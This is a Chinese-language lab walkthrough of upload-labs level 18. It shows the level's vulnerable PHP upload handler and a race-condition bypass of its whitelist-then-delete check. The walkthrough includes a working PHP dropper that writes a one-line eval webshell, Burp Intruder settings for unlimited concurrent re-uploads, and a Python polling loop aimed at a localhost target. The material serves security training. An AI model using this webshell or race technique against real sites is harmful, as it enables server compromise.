pass18
第18关和前面14-17关(要求上传图片马)不同,直接要求上传一个webshell
提示:
源码:
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_name = $_FILES['upload_file']['name'];
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_ext = substr($file_name,strrpos($file_name,".")+1);
$upload_file = UPLOAD_PATH . '/' . $file_name;
if(move_uploaded_file($temp_file, $upload_file)){
if(in_array($file_ext,$ext_arr)){
$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
rename($upload_file, $img_path);
$is_upload = true;
}else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
unlink($upload_file);
}
}else{
$msg = '上传出错!';
}
}
如果上传的不是白名单中的文件,会调用unlink方法删除文件。
这么想,貌似好像要用图片马,但是这关最好不要用文件包含漏洞,因为这也不是出题人的本意。
所以还是要上传webshell
如何绕过上传非白名单中的文件而不会被删除呢?
这一关的解决思路就是利用 上传成功之后移动文件到删除文件这段时间之内连接webshell(利用时间差)
利用上面绿色区域中的时间去连接webshell。
但是还有一个问题:即使在短期之内连接上了webshell,但是很快文件又会被删除。—》这样连接webshell有什么意义呢?
解决:
首先上传一个“独特”的木马,但是这个木马不是一句话木马,但是能够产生一句话木马,使得产生 的一句话木马能够不被删除而能够连接webshell
这个“独特”的木马内容如下:
<?php fputs(fopen('zyy.php','w'),'<?php @eval($_POST["zyy"])?>');?>
这个绕过的思路就是“条件竞争”
如何在短期之内利用这个独特的木马呢?有两种方法:
1.通过python脚本多线程并发的访问。
2.利用burp不断的上传文件。
首先记录利用burp进行绕过:
pass18-burp不断上传文件
首先开启burp抓包,上传competition.php
利用“Intruder”模块进行反复的文件上传。
发送到intruder:
在Position中清空,不需要payload。
在Payloads中,选择 Null payload:
持续不断无限地:选择Continue indefinitely
Resource Pool:
将线程调整的大一些:
20个并发的线程
然后开始攻击:start Attack
发现靶机的上传目录下不断的有文件被删除又被上传:
然后我电脑的风扇开始呼呼呼的叫了,hhh
然后访问这个competition文件所在的地址,使其产生一句话木马文件。
某一刻是可以访问到的:
而且幸运的话,在这个目录下会生成一个一句话木马文件,但是我就没那么幸运,,,没有生成,,,
如果你能够生成,那么就可以连接这个一句话木马webshell了。
pass18-python多线程-条件竞争
准备条件竞争的python代码:
import requests
url = "http://localhost:7298/upload-labs/upload/competition.php"
while True:
html = requests.get(url)
if html.status_code == 200:
print("OK")
break
基本上就是这两个思路了。
可恶,为了跑这一关,我虚拟机靶场崩了。。。